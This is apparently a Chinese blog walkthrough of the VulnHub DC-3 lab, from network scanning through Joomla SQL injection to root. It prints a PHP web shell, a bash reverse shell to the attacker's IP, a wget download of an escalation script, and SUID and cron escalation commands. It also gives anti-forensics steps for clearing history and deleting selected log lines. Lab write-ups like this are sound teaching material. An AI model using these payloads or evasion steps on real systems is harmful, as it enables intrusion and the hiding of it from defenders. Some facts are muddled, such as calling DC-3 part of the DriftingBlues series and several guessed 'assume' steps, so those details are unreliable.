三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

DC-3靶机渗透实战:从信息收集到权限提升的完整复盘

DC-3靶机渗透实战:从信息收集到权限提升的完整复盘

1. 从“一看就会”说起:为什么DC-3靶机值得你花时间

如果你对网络安全、渗透测试感兴趣,或者正在准备相关的认证考试,那么“靶机”这个词对你来说一定不陌生。DC-3是VulnHub上一个非常经典的渗透测试靶机,属于“Drifting Blues”系列。网上关于它的攻略和Writeup(解题报告)非常多,但很多要么是直接甩命令和结果,要么就是步骤跳跃,让新手看得云里雾里。标题里说“过程详细,一看就会”,这恰恰点出了很多学习者的痛点:我们需要的不是一份冷冰冰的答案列表,而是一个能讲清楚“为什么这么做”和“如果出错了怎么办”的完整过程复盘。

我自己在带新人或者自己复现靶机时,最大的感触就是,照着别人的步骤做一遍,成功了,但可能什么都没记住。真正的收获,来自于理解每一个命令背后的意图,分析每一次失败的原因,以及思考攻击路径的逻辑。DC-3靶机虽然难度不算顶级,但它串联了从信息收集、漏洞发现、漏洞利用、权限提升到最终获取flag的完整流程,非常适合用来巩固Web渗透和Linux系统渗透的基础技能。它不像一些“炫技”型靶机那样依赖生僻的零日漏洞,而是考察你对常见漏洞(比如CMS漏洞、文件包含、命令注入)的利用能力,以及对Linux系统提权手法的熟悉程度。接下来,我会以一个“复盘者”而非“答案发布者”的角度,带你完整走一遍DC-3的渗透过程,并穿插我踩过的坑和总结的经验。

2. 环境搭建与初步信息收集:别急着扫描

在开始任何渗透测试之前,搭建一个隔离、可控的实验环境是第一步,也是安全从业者的基本素养。直接在自己的物理机或生产网络里搞测试是绝对禁止的。

2.1 靶机与攻击机环境准备

DC-3靶机是一个OVA格式的虚拟机文件,你需要一个虚拟机软件来运行它,比如VMware Workstation/Player或者VirtualBox。我个人的习惯是使用VMware,因为对虚拟网络的支持更稳定一些。

  1. 下载靶机:从VulnHub官网搜索“DC-3”或“DriftingBlues: 3”即可找到下载链接。确保下载的是正确的文件。
  2. 导入虚拟机:打开VMware,选择“文件”->“打开”,找到下载的.ova文件,按照提示导入。通常保持默认设置即可。
  3. 网络设置:这是关键一步。将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”(Host-Only)。
    • 为什么是仅主机模式?在这种模式下,虚拟机会创建一个与物理主机直接通信的私有网络,不连接外网。这保证了测试环境的绝对封闭性,靶机不会意外访问互联网,攻击机(通常是Kali Linux虚拟机)也能直接与它通信。在VMware中,你需要确保“虚拟网络编辑器”里启用了“VMnet1(仅主机模式)”,并记下其子网网段(例如192.168.xxx.0/24)。
  4. 启动靶机:启动DC-3虚拟机。你会看到它启动一个Linux系统,最终停留在一个登录提示符界面。记住,我们不需要知道它的密码,我们的目标就是通过渗透手段获得这个系统的访问权限。
  5. 准备攻击机:同样,你需要一个Kali Linux虚拟机作为攻击机。将其网络适配器也设置为同一个“仅主机模式”(连接到VMnet1)。这样,Kali和DC-3就在同一个局域网段了。

启动后,在Kali Linux中打开终端,首先检查自己的IP地址(ip addr showifconfig),然后我们需要找到靶机的IP。

2.2 发现目标:确定靶机IP地址

在不知道靶机IP的情况下,我们需要进行网络发现。最常用的工具是nmap

# 首先查看攻击机自身的IP和网段,假设是192.168.56.101/24 ip addr show # 使用nmap进行ping扫描,发现同一网段内存活的主机 sudo nmap -sn 192.168.56.0/24

-sn参数表示只进行主机发现(Ping扫描),不进行端口扫描。执行后,你会看到一个IP列表,其中除了你的Kali机,另一个就是DC-3靶机。假设我们发现了192.168.56.102

注意:有些靶机可能禁用了ICMP回应(Ping),导致-sn扫描不到。如果出现这种情况,可以尝试使用ARP扫描,因为同一局域网内ARP协议总是有效的。可以使用netdiscover工具:sudo netdiscover -r 192.168.56.0/24。或者使用nmap的-PR(ARP Ping)参数:sudo nmap -PR -sn 192.168.56.0/24

2.3 全面的端口与服务探测

拿到IP后,下一步是进行详细的端口扫描,了解靶机开放了哪些服务,这是信息收集的核心。

# 使用nmap进行全端口扫描(-p-),并启用服务版本探测(-sV)和默认脚本扫描(-sC) sudo nmap -sV -sC -p- 192.168.56.102 -oN dc3_initial_scan.txt
  • -sV: 探测服务/版本信息。光知道开了80端口不够,我们得知道上面跑的是什么(Apache?Nginx?)以及具体版本。
  • -sC: 使用默认的Nmap脚本引擎进行扫描,这些脚本能发现一些常见漏洞或获取额外信息(比如HTTP标题、robots.txt等)。
  • -p-: 扫描所有65535个端口。虽然慢,但对于靶机或内部渗透测试是必要的,避免遗漏像8080、8443这样的非标准端口。
  • -oN: 将扫描结果输出到文件,方便后续分析。

扫描完成后,你会得到一份详细的报告。对于DC-3,典型的扫描结果会显示只开放了80端口,运行着Apache httpd服务。这立刻将我们的攻击面聚焦到了Web应用上。

3. Web应用渗透:从网站到后台

既然只有80端口开放,浏览器就是我们首要的武器。在浏览器中访问http://192.168.56.102

3.1 网站指纹识别与目录枚举

访问首页,你可能会看到一个网站。第一步是识别这个网站用了什么技术栈。

  1. 手动观察:查看网页源代码,注意<meta>标签、引用的JS/CSS库路径、Cookie名称、HTTP响应头(可以用浏览器开发者工具的Network标签查看)。这些地方常常会暴露框架或CMS信息。对于DC-3,你很可能在页面底部或源码中发现“Joomla!”的字样。

  2. 使用工具确认:在Kali终端,可以使用whatweb工具进行快速的指纹识别。

    whatweb http://192.168.56.102

    这个命令会输出检测到的技术信息,如CMS、Web服务器版本、编程语言等。确认是Joomla后,我们还需要知道它的具体版本,因为不同版本的漏洞可能不同。

  3. 目录与文件枚举:网站根目录下往往存在一些隐藏的或默认的文件,如robots.txt,administrator/后台目录,README等。我们可以使用目录爆破工具来发现它们。gobusterdirb是常用工具。

    # 使用gobuster进行目录爆破,使用常见的字典文件 gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
    • dir: 指定模式为目录枚举。
    • -u: 目标URL。
    • -w: 指定字典文件路径。common.txt是一个不错的起点。
    • -x: 指定同时尝试这些后缀的文件。

    扫描结果中,你一定会发现/administrator/这个目录,这是Joomla的后台管理登录入口。访问它,会看到一个Joomla后台登录页面。

3.2 漏洞研究与利用:Joomla的突破口

知道是Joomla后,我们的思路就清晰了:寻找Joomla的已知漏洞。这里有两种主要方法:

  1. 手动搜索与利用:使用searchsploit(Kali自带的本地漏洞库)来查找Joomla相关漏洞。

    searchsploit joomla

    你会看到很多条目。我们需要结合之前whatweb或页面信息获取的Joomla版本号进行筛选。假设DC-3用的是Joomla 3.7.x版本(这是一个常见设定),那么一个著名的漏洞是Joomla 3.7.0 - SQL Injection (CVE-2017-8917)。这个漏洞存在于com_fields组件中,允许未授权用户进行SQL注入。

  2. 使用自动化工具sqlmap是检测和利用SQL注入的神器。我们可以将含有潜在注入点的URL交给它测试。对于CVE-2017-8917,漏洞触发点通常是一个特定的URL参数。你可以先在网上搜索该漏洞的详细利用方式,找到一个类似这样的POC(概念验证)URL:http://target/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

    但是,更高效的方式是直接使用sqlmap进行检测:

    sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --batch
    • -u: 指定目标URL。
    • --risk--level: 提高检测等级和风险等级,以进行更深入的测试。
    • --batch: 以非交互模式运行,所有提示都选择默认。

    如果漏洞存在,sqlmap会很快识别出注入点,并可以让你执行后续操作,比如获取数据库名、表名、列数据,甚至是执行系统命令(取决于数据库权限和配置)。

3.3 获取Web Shell与反向Shell

通过SQL注入,我们的目标通常是获取后台管理员密码,或者直接向服务器写入一个Web Shell(一个能通过Web访问并执行命令的脚本文件)。

  1. 获取管理员凭证:使用sqlmap--dump参数来导出数据库中的数据。你需要先枚举数据库(--dbs),然后枚举表(-D database_name --tables),找到存储用户信息的表(在Joomla中通常是_users表,注意前缀可能不同)。

    # 假设数据库名为`joomladb`,用户表为`abc_users`(abc是表前缀) sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -D joomladb -T abc_users --dump

    sqlmap会尝试破解密码哈希。Joomla默认使用bcryptMD5加盐哈希。sqlmap可能会利用内置的字典进行破解,但如果密码强度高,可能无法直接破解。这时,你可以将哈希值保存下来,用johnhashcat进行离线暴力破解。不过,在DC-3这个靶机中,为了降低难度,密码通常设置得比较简单,sqlmap有很大几率直接破解出来。

  2. 登录后台与上传Web Shell:获得管理员账号密码后,登录/administrator/后台。在Joomla后台,寻找可以上传文件的地方,例如“扩展管理”->“模板管理”->“模板样式”,编辑某个模板的PHP文件(比如index.php),将你的Web Shell代码写入其中。常用的Web Shell代码很简单:

    <?php system($_GET[‘cmd‘]); ?>

    保存后,访问这个模板文件(例如http://192.168.56.102/templates/your_template/index.php?cmd=whoami),如果页面输出了命令执行结果,说明Web Shell写入成功。

  3. 升级为反向Shell:Web Shell是功能受限的,交互性差。我们需要一个反向Shell,让靶机主动连接到我们攻击机监听的一个端口,从而给我们一个完整的命令行交互环境。

    • 在攻击机(Kali)上监听:打开一个终端,使用netcat监听一个端口,比如4444。
      nc -lvnp 4444
      -l监听,-v详细输出,-n不解析域名,-p指定端口。
    • 从Web Shell触发连接:通过Web Shell执行一个命令,让靶机连接到我们。有多种Payload,这里以最常用的bash反向Shell为例。在Web Shell的cmd参数中执行:
      bash -c ‘bash -i >& /dev/tcp/192.168.56.101/4444 0>&1‘
      注意将IP192.168.56.101替换成你Kali攻击机的真实IP。
    • 如果执行成功,你会在netcat监听的那个终端里看到连接建立,并出现一个命令行提示符(可能是www-data@dc-3:$),这表示你已经以Web服务用户(通常是www-data)的身份获得了靶机的一个Shell。

4. 权限提升:从www-data到root

拿到www-data的Shell只是第一步,这个用户权限很低,无法读取最终的flag文件(通常位于/root/home下的某个用户目录中)。我们需要进行权限提升(Privilege Escalation)。

4.1 初步信息收集:了解我们身处何境

在提权之前,必须充分了解当前系统的环境。我会运行一系列命令来收集信息:

# 查看当前用户和组 id whoami # 查看系统内核版本和发行版信息 uname -a cat /etc/os-release lsb_release -a 2>/dev/null # 查看以root身份运行的定时任务(Cron Jobs) cat /etc/crontab ls -la /etc/cron.*/ # 查看具有SUID/SGID特殊权限的可执行文件(这是提权的重点方向) find / -type f -perm -u=s 2>/dev/null find / -type f -perm -g=s 2>/dev/null # 查看当前用户能以sudo方式运行哪些命令 sudo -l # 查看网络连接和监听端口 netstat -tulnp ss -tulnp # 查看进程列表 ps aux # 查看安装的软件包版本(特别是可能利用的) dpkg -l # 对于Debian/Ubuntu rpm -qa # 对于RHEL/CentOS

这些信息会为我们提供提权的线索。例如,一个过时的内核版本可能对应着公开的本地提权漏洞;一个配置错误的SUID二进制文件可能允许我们执行任意命令;一个以root身份运行的定时任务脚本,如果我们可以写入,就能获得root权限。

4.2 利用SUID二进制文件提权

在Linux中,SUID(Set User ID)是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时,它会以文件所有者的身份运行,而不是执行者的身份。如果这个文件的所有者是root,并且程序本身存在漏洞(或者可以被我们以某种方式影响),我们就有可能获得root shell。

运行find / -type f -perm -u=s 2>/dev/null后,仔细检查列表。一些常见的、容易被滥用的SUID程序包括:

  • find(如果版本较老,可以用-exec参数执行命令)
  • vim/vi
  • nano
  • bash(某些版本)
  • less/more
  • nmap(旧版的交互模式)
  • cp/mv

假设我们在DC-3上发现了一个不常见但具有SUID权限的二进制文件,或者发现一个常见命令(如find)的版本存在已知的提权方法。例如,如果find命令有SUID位,我们可以尝试:

# 利用find的-exec参数执行命令 find / -name anything -exec /bin/bash -p \;

-p参数是为了保留SUID赋予的权限。如果成功,我们会得到一个root shell。

另一种情况是,如果vimless有SUID权限,我们可以通过它们来读取只有root能读的文件,比如/etc/shadow(存储用户密码哈希),或者尝试在它们内部执行shell命令(在vim中:!bash)。

4.3 利用定时任务(Cron Job)提权

检查/etc/crontab文件,看看有没有以root身份定期运行的任务。重点看这些任务执行的脚本或命令的路径是否我们具有写权限,或者是否存在通配符滥用。

例如,假设有一个定时任务:

* * * * * root /opt/scripts/backup.sh

如果我们能修改/opt/scripts/backup.sh这个文件,那么下一分钟这个脚本以root身份运行时,就会执行我们写入的恶意代码(比如chmod u+s /bin/bash,给bash加上SUID位)。

再比如,如果任务是这样:

* * * * * root tar -czf /backups/backup.tar.gz /var/www/html/*

这里使用了通配符*。如果我们在/var/www/html/目录下创建一个文件名以特定方式命名的文件(例如--checkpoint=1--checkpoint-action=exec=shell.sh),在某些老版本的tar命令中,这可能导致命令注入。这就是通配符注入漏洞。

4.4 内核漏洞提权(最后的手段)

如果以上方法都行不通,并且系统内核版本较老,我们可以尝试寻找对应的本地提权(LPE)漏洞。我们可以使用一些自动化脚本来检查,比如linux-exploit-suggester.shlinpeas.sh

  1. 将提权脚本上传到靶机:在攻击机上启动一个简单的HTTP服务器。

    # 在Kali上,进入存放linpeas.sh的目录 python3 -m http.server 8000
  2. 在靶机Shell中下载并运行

    # 在靶机的www-data shell中 cd /tmp wget http://192.168.56.101:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh

    linpeas会运行一系列检查,并以彩色高亮的形式提示可能的提权路径,包括可写的敏感文件、危险的SUID程序、环境变量问题、内核漏洞等。它会给出具体的CVE编号和利用建议。

  3. 编译并运行Expolit:如果linpeas提示了一个内核漏洞(比如CVE-2021-4034,即PwnKit),我们需要找到对应的漏洞利用代码(Expolit),将其上传到靶机,编译(如果需要),然后运行。由于靶机可能没有编译环境(gcc),我们有时需要在攻击机上编译好对应架构(通常是x64)的二进制文件,再上传执行。

    重要提示:在内网生产环境中,运行内核Expolit是高风险操作,可能导致系统崩溃(蓝屏/死机)。但在靶机环境中可以放心尝试。

在DC-3靶机中,根据其发布年份和常见设定,很可能不需要走到内核漏洞这一步,通过前面几种方法之一就能成功提权。

5. 获取Flag与痕迹清理

5.1 寻找Flag文件

成功提权到root后,最后一步就是寻找flag。在VulnHub的靶机中,flag通常是一个名为flag.txtproof.txtroot.txt的文本文件,存放在/root目录下,或者有时在/home下的某个用户目录里。

# 切换到root目录并查看 cd /root ls -la cat flag.txt # 或 proof.txt, root.txt # 如果在/root没找到,可以全局搜索 find / -name "*flag*" -o -name "*proof*" -o -name "*root.txt" 2>/dev/null

找到并读取flag文件的内容,这就是你完成渗透测试的最终证明。

5.2 (可选)清理痕迹

在真实的渗透测试中,获得授权后,通常需要清理留下的痕迹,以免被蓝队发现。这包括:

  • 删除Web Shell文件:回到你上传或修改的Web Shell文件位置,将其恢复原状或删除。
  • 清除命令历史:清除当前用户在靶机上的命令历史记录。
    # 清除当前shell的历史 history -c # 或者直接清空历史记录文件 echo > ~/.bash_history # 如果是root用户,可能还需要清除其他shell的历史
  • 删除上传的工具:删除你从攻击机上传的各类脚本和Expolit文件(如linpeas.sh、提权二进制文件等)。
    rm -f /tmp/linpeas.sh /tmp/exploit
  • 检查日志:查看并清理可能记录了你攻击行为的日志,如Apache访问日志(/var/log/apache2/access.log)、认证日志(/var/log/auth.log)等。但要注意,直接删除整个日志文件行为非常可疑,更隐蔽的做法是只删除与自己IP相关的行。不过,在靶机练习中,这一步通常可以省略。

6. 复盘与经验总结:比拿到Flag更重要

走完整个流程,拿到Flag,并不意味着结束。真正的学习发生在复盘阶段。针对DC-3这个靶机,我们可以总结出以下几点经验:

  1. 信息收集是基石:90%的成功依赖于充分的信息收集。不要一上来就盲目扫描漏洞。先搞清楚目标是什么(Joomla CMS)、版本是多少、开放了哪些端口和服务、有哪些目录和文件。这些信息直接决定了后续的攻击路径。
  2. 漏洞利用的精确性:知道漏洞(CVE-2017-8917)和成功利用它是两回事。你需要精确地构造Payload,或者熟练使用像sqlmap这样的工具。理解漏洞原理(这里是基于时间的盲注)能帮助你在工具失效时进行手动调整。
  3. Shell的稳定性:通过Web命令执行获得的反向Shell往往不太稳定,容易断开。一旦获得初始Shell,应该立即想办法将其稳定化。常用的方法有:
    • 使用pythonpython3生成一个PTY(伪终端):python3 -c ‘import pty; pty.spawn("/bin/bash")‘
    • 使用socatscript等工具。
    • 通过ssh密钥等方式建立更稳定的连接(如果条件允许)。
  4. 提权路径的多样性:提权没有固定公式。必须系统性地收集信息(SUID、Cron、sudo、内核版本、安装的软件、可写路径等),然后像侦探一样分析每一条线索。linpeas这类自动化脚本是很好的助手,但不能完全依赖它,理解它每一条告警背后的原理才是关键。
  5. 保持环境一致性:确保攻击机和靶机在同一网络模式(仅主机模式)下,这是很多新手容易出错的地方。如果网络不通,后续所有步骤都无法进行。
  6. 耐心与记录:渗透测试过程中会遇到各种错误,命令执行失败,Payload不生效。保持耐心,仔细检查每一个步骤,对比IP地址、端口、文件路径等细节是否准确。养成随时记录命令和结果的習慣,这有助于回溯和复盘。

DC-3靶机就像一道经典的“标准菜”,它涵盖了Web渗透到系统提权的主流技术点。通过亲手复现并理解其中的每一个环节,你构建起的不是零散的命令记忆,而是一套应对未知系统的系统性方法论。下次遇到一个新的目标,你自然会知道从哪里开始,如何推进,这才是打靶练习的真正价值所在。

← 返回列表